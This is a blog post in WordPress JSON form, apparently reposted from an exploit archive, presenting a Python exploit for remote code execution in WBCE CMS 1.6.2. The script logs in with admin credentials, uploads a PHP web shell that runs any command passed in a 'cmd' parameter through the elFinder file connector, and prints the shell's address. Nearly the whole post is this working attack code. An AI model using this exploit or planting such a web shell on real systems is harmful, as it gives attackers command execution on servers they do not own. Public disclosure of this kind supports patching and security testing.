{"id":57233,"date":"2024-06-03T18:49:48","date_gmt":"2024-06-03T15:49:48","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178891\/wbcecms162-exec.txt"},"modified":"2024-06-03T18:49:48","modified_gmt":"2024-06-03T15:49:48","slug":"wbce-cms-1-6-2-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wbce-cms-1-6-2-remote-code-execution\/","title":{"rendered":"WBCE CMS 1.6.2 Remote Code Execution"},"content":{"rendered":"<p># Exploit Title: WBCE CMS v1.6.2 &#8211; Remote Code Execution (RCE)<br \/># Date: 3\/5\/2024<br \/># Exploit Author: Ahmet \u00dcmit BAYRAM<br \/># Vendor Homepage: https:\/\/wbce-cms.org\/<br \/># Software Link:<br \/>https:\/\/github.com\/WBCE\/WBCE_CMS\/archive\/refs\/tags\/1.6.2.zip<br \/># Version: 1.6.2<br \/># Tested on: MacOS<\/p>\n<p>import requests<br \/>from bs4 import BeautifulSoup<br \/>import sys<br \/>import time<\/p>\n<p>def login(url, username, password):<br \/>print(&#8220;Logging in&#8230;&#8221;)<br \/>time.sleep(3)<br \/>with requests.Session() as session:<br \/>response = session.get(url + &#8220;\/admin\/login\/index.php&#8221;)<br \/>soup = BeautifulSoup(response.text, &#8216;html.parser&#8217;)<br \/>form = soup.find(&#8216;form&#8217;, attrs={&#8216;name&#8217;: &#8216;login&#8217;})<br \/>form_data = {input_tag[&#8216;name&#8217;]: input_tag.get(&#8216;value&#8217;, &#8221;) for input_tag in<br \/>form.find_all(&#8216;input&#8217;) if input_tag.get(&#8216;type&#8217;) != &#8216;submit&#8217;}<br \/># Kullan\u0131c\u0131 ad\u0131 ve \u015fifre alanlar\u0131n\u0131 dinamik olarak g\u00fcncelle<br \/>form_data[soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;username_fieldname&#8217;})[&#8216;value&#8217;]] =<br \/>username<br \/>form_data[soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;password_fieldname&#8217;})[&#8216;value&#8217;]] =<br \/>password<br \/>post_response = session.post(url + &#8220;\/admin\/login\/index.php&#8221;, data=form_data)<br \/>if &#8220;Administration&#8221; in post_response.text:<br \/>print(&#8220;Login successful!&#8221;)<br \/>time.sleep(3)<br \/>return session<br \/>else:<br \/>print(&#8220;Login failed.&#8221;)<br \/>print(&#8220;Headers received:&#8221;, post_response.headers)<br \/>print(&#8220;Response content:&#8221;, post_response.text[:500]) # \u0130lk 500 karakter<br \/>return None<\/p>\n<p>def upload_file(session, url):<br \/># Dosya i\u00e7eri\u011fini ve ad\u0131n\u0131 belirleyin<br \/>print(&#8220;Shell preparing&#8230;&#8221;)<br \/>time.sleep(3)<br \/>files = {&#8216;upload[]&#8217;: (&#8216;shell.inc&#8217;,&#8221;&#8221;&#8221;&lt;html&gt;<br \/>&lt;body&gt;<br \/>&lt;form method=&#8221;GET&#8221; name=&#8221;&lt;?php echo basename($_SERVER[&#8216;PHP_SELF&#8217;]); ?&gt;&#8221;&gt;<br \/>&lt;input type=&#8221;TEXT&#8221; name=&#8221;cmd&#8221; autofocus id=&#8221;cmd&#8221; size=&#8221;80&#8243;&gt;<br \/>&lt;input type=&#8221;SUBMIT&#8221; value=&#8221;Execute&#8221;&gt;<br \/>&lt;\/form&gt;<br \/>&lt;pre&gt;<br \/>&lt;?php<br \/>if(isset($_GET[&#8216;cmd&#8217;]))<br \/>{<br \/>system($_GET[&#8216;cmd&#8217;]);<br \/>}<br \/>?&gt;<br \/>&lt;\/pre&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;&#8221;&#8221;&#8221;, &#8216;application\/octet-stream&#8217;)}<br \/>data = {<br \/>&#8216;reqid&#8217;: &#8217;18f3a5c13d42c5&#8242;,<br \/>&#8216;cmd&#8217;: &#8216;upload&#8217;,<br \/>&#8216;target&#8217;: &#8216;l1_Lw&#8217;,<br \/>&#8216;mtime[]&#8217;: &#8216;1714669495&#8217;<br \/>}<br \/>response = session.post(url + &#8220;\/modules\/elfinder\/ef\/php\/connector.wbce.php&#8221;,<br \/>files=files, data=data)<br \/>if response.status_code == 200:<br \/>print(&#8220;Your Shell is Ready: &#8221; + url + &#8220;\/media\/shell.inc&#8221;)<br \/>else:<br \/>print(&#8220;Failed to upload file.&#8221;)<br \/>print(response.text)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>url = sys.argv[1]username = sys.argv[2]password = sys.argv[3]session = login(url, username, password)<br \/>if session:<br \/>upload_file(session, url)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: WBCE CMS v1.6.2 &#8211; Remote Code Execution (RCE)# Date: 3\/5\/2024# Exploit Author: Ahmet \u00dcmit BAYRAM# Vendor Homepage: https:\/\/wbce-cms.org\/# Software Link:https:\/\/github.com\/WBCE\/WBCE_CMS\/archive\/refs\/tags\/1.6.2.zip# Version: 1.6.2# Tested on: MacOS import requestsfrom bs4 import BeautifulSoupimport sysimport time def login(url, username, password):print(&#8220;Logging in&#8230;&#8221;)time.sleep(3)with requests.Session() as session:response = session.get(url + &#8220;\/admin\/login\/index.php&#8221;)soup = BeautifulSoup(response.text, &#8216;html.parser&#8217;)form = soup.find(&#8216;form&#8217;, attrs={&#8216;name&#8217;: &#8216;login&#8217;})form_data = &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57233","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57233","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57233"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57233\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57233"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57233"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57233"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}